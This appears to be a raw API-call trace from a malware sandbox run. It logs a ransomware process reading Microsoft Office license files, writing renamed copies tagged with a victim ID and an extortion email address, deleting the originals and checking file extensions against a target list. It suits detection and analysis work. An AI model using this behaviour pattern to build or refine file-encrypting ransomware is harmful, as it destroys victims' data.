	[0192.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0192.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0192.691] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.691] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec
	[0192.692] GetLastError () returned 0x0
	[0192.692] ReadFile (in: hFile=0x5ac, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x4dcf, lpOverlapped=0x0) returned 1
	[0192.696] WriteFile (in: hFile=0x5ec, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x4dd0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x4dd0, lpOverlapped=0x0) returned 1
	[0192.698] ReadFile (in: hFile=0x5ac, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0192.698] WriteFile (in: hFile=0x5ec, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x10a, lpOverlapped=0x0) returned 1
	[0192.698] SetEndOfFile (hFile=0x5ec) returned 1
	[0192.698] CloseHandle (hObject=0x5ec) returned 1
	[0192.698] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.698] SetEndOfFile (hFile=0x5ac) returned 1
	[0192.703] CloseHandle (hObject=0x5ac) returned 1
	[0192.703] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0192.704] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms")) returned 1
	[0192.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0192.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0192.705] lstrlenW (lpString=".doc") returned 4
	[0192.705] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0192.705] lstrlenW (lpString=".docx") returned 5
	[0192.705] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0192.705] lstrlenW (lpString=".pdf") returned 4
	[0192.705] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0192.705] lstrlenW (lpString=".xls") returned 4
	[0192.705] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0192.705] lstrlenW (lpString=".xlsx") returned 5
	[0192.705] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0192.705] lstrlenW (lpString=".ppt") returned 4
	[0192.705] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0192.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0192.705] lstrlenW (lpString=".zip") returned 4
	[0192.705] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0192.705] lstrlenW (lpString=".rar") returned 4
	[0192.705] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0192.705] lstrlenW (lpString=".bz2") returned 4
	[0192.706] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0192.706] lstrlenW (lpString=".7z") returned 3
	[0192.706] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0192.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0192.706] lstrlenW (lpString=".dbf") returned 4
	[0192.706] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0192.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0192.706] lstrlenW (lpString=".1cd") returned 4
	[0192.706] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0192.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0192.706] lstrlenW (lpString=".jpg") returned 4
	[0192.706] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0192.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0192.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0192.706] lstrlenW (lpString=".doc") returned 4
	[0192.706] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0192.706] lstrlenW (lpString=".docx") returned 5
	[0192.706] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0192.706] lstrlenW (lpString=".pdf") returned 4
	[0192.706] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0192.706] lstrlenW (lpString=".xls") returned 4
	[0192.706] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0192.706] lstrlenW (lpString=".xlsx") returned 5
	[0192.706] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0192.706] lstrlenW (lpString=".ppt") returned 4
	[0192.706] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0192.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0192.706] lstrlenW (lpString=".zip") returned 4
	[0192.706] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0192.706] lstrlenW (lpString=".rar") returned 4
	[0192.707] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0192.707] lstrlenW (lpString=".bz2") returned 4
	[0192.707] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0192.707] lstrlenW (lpString=".7z") returned 3
	[0192.707] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0192.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0192.707] lstrlenW (lpString=".dbf") returned 4
	[0192.707] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0192.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0192.707] lstrlenW (lpString=".1cd") returned 4
	[0192.707] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0192.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77
	[0192.707] lstrlenW (lpString=".jpg") returned 4
	[0192.707] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0192.707] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0192.707] lstrlenW (lpString="ExcelVL_KMS_Client-ul.xrm-ms") returned 28
	[0192.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0192.712] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=9601) returned 1
	[0192.712] CloseHandle (hObject=0x5ac) returned 1
	[0192.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms")) returned 0x220
	[0192.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0192.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0192.714] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.714] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec
	[0192.715] GetLastError () returned 0x0
	[0192.715] ReadFile (in: hFile=0x5ac, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x2581, lpOverlapped=0x0) returned 1
	[0192.721] WriteFile (in: hFile=0x5ec, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x2590, lpOverlapped=0x0) returned 1
	[0192.726] ReadFile (in: hFile=0x5ac, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0192.726] WriteFile (in: hFile=0x5ec, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x10c, lpOverlapped=0x0) returned 1
	[0192.726] SetEndOfFile (hFile=0x5ec) returned 1
	[0192.726] CloseHandle (hObject=0x5ec) returned 1
	[0192.726] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.726] SetEndOfFile (hFile=0x5ac) returned 1
	[0192.742] CloseHandle (hObject=0x5ac) returned 1
	[0192.742] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0192.743] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms")) returned 1
	[0192.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0192.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0192.744] lstrlenW (lpString=".doc") returned 4
	[0192.744] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0192.744] lstrlenW (lpString=".docx") returned 5
	[0192.744] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0192.744] lstrlenW (lpString=".pdf") returned 4
	[0192.744] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0192.744] lstrlenW (lpString=".xls") returned 4
	[0192.744] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0192.744] lstrlenW (lpString=".xlsx") returned 5
	[0192.744] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0192.744] lstrlenW (lpString=".ppt") returned 4
	[0192.744] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0192.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0192.744] lstrlenW (lpString=".zip") returned 4
	[0192.744] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0192.745] lstrlenW (lpString=".rar") returned 4
	[0192.745] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0192.745] lstrlenW (lpString=".bz2") returned 4
	[0192.745] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0192.745] lstrlenW (lpString=".7z") returned 3
	[0192.745] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0192.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0192.745] lstrlenW (lpString=".dbf") returned 4
	[0192.745] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0192.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0192.745] lstrlenW (lpString=".1cd") returned 4
	[0192.745] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0192.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0192.745] lstrlenW (lpString=".jpg") returned 4
	[0192.745] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0192.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0192.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0192.745] lstrlenW (lpString=".doc") returned 4
	[0192.745] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0192.745] lstrlenW (lpString=".docx") returned 5
	[0192.745] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0192.745] lstrlenW (lpString=".pdf") returned 4
	[0192.745] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0192.745] lstrlenW (lpString=".xls") returned 4
	[0192.745] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0192.745] lstrlenW (lpString=".xlsx") returned 5
	[0192.745] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0192.745] lstrlenW (lpString=".ppt") returned 4
	[0192.745] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0192.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0192.746] lstrlenW (lpString=".zip") returned 4
	[0192.746] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0192.746] lstrlenW (lpString=".rar") returned 4
	[0192.746] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0192.746] lstrlenW (lpString=".bz2") returned 4
	[0192.746] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0192.746] lstrlenW (lpString=".7z") returned 3
	[0192.746] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0192.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0192.746] lstrlenW (lpString=".dbf") returned 4
	[0192.746] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0192.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0192.746] lstrlenW (lpString=".1cd") returned 4
	[0192.746] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0192.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78
	[0192.746] lstrlenW (lpString=".jpg") returned 4
	[0192.746] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0192.746] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0192.746] lstrlenW (lpString="ExcelVL_MAK-pl.xrm-ms") returned 21
	[0192.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0192.748] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=10619) returned 1
	[0192.748] CloseHandle (hObject=0x5ac) returned 1
	[0192.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms")) returned 0x220
	[0192.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0192.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0192.749] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.749] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec
	[0192.751] GetLastError () returned 0x0
	[0192.751] ReadFile (in: hFile=0x5ac, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x297b, lpOverlapped=0x0) returned 1
	[0193.007] WriteFile (in: hFile=0x5ec, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x2980, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x2980, lpOverlapped=0x0) returned 1
	[0193.008] ReadFile (in: hFile=0x5ac, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.008] WriteFile (in: hFile=0x5ec, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0xfe, lpOverlapped=0x0) returned 1
	[0193.009] SetEndOfFile (hFile=0x5ec) returned 1
	[0193.009] CloseHandle (hObject=0x5ec) returned 1
	[0193.009] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.009] SetEndOfFile (hFile=0x5ac) returned 1
	[0193.016] CloseHandle (hObject=0x5ac) returned 1
	[0193.017] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0193.022] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms")) returned 1
	[0193.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71
	[0193.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71
	[0193.023] lstrlenW (lpString=".doc") returned 4
	[0193.023] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0193.023] lstrlenW (lpString=".docx") returned 5
	[0193.024] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0193.024] lstrlenW (lpString=".pdf") returned 4
	[0193.024] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0193.024] lstrlenW (lpString=".xls") returned 4
	[0193.024] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0193.024] lstrlenW (lpString=".xlsx") returned 5
	[0193.024] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0193.024] lstrlenW (lpString=".ppt") returned 4
	[0193.024] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0193.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71
	[0193.024] lstrlenW (lpString=".zip") returned 4
	[0193.024] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0193.024] lstrlenW (lpString=".rar") returned 4
	[0193.024] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0193.024] lstrlenW (lpString=".bz2") returned 4
	[0193.024] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0193.024] lstrlenW (lpString=".7z") returned 3
	[0193.024] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0193.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71
	[0193.024] lstrlenW (lpString=".dbf") returned 4
	[0193.024] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0193.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71
	[0193.024] lstrlenW (lpString=".1cd") returned 4
	[0193.024] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0193.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71
	[0193.024] lstrlenW (lpString=".jpg") returned 4
	[0193.024] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0193.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71
	[0193.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71
	[0193.025] lstrlenW (lpString=".doc") returned 4
	[0193.025] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0193.025] lstrlenW (lpString=".docx") returned 5
	[0193.025] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0193.025] lstrlenW (lpString=".pdf") returned 4
	[0193.025] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0193.025] lstrlenW (lpString=".xls") returned 4
	[0193.025] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0193.025] lstrlenW (lpString=".xlsx") returned 5
	[0193.025] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0193.025] lstrlenW (lpString=".ppt") returned 4
	[0193.025] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0193.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71
	[0193.025] lstrlenW (lpString=".zip") returned 4
	[0193.025] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0193.025] lstrlenW (lpString=".rar") returned 4
	[0193.025] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0193.025] lstrlenW (lpString=".bz2") returned 4
	[0193.025] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0193.025] lstrlenW (lpString=".7z") returned 3
	[0193.025] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0193.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71
	[0193.026] lstrlenW (lpString=".dbf") returned 4
	[0193.026] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0193.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71
	[0193.026] lstrlenW (lpString=".1cd") returned 4
	[0193.026] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0193.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71
	[0193.026] lstrlenW (lpString=".jpg") returned 4
	[0193.026] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0193.026] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
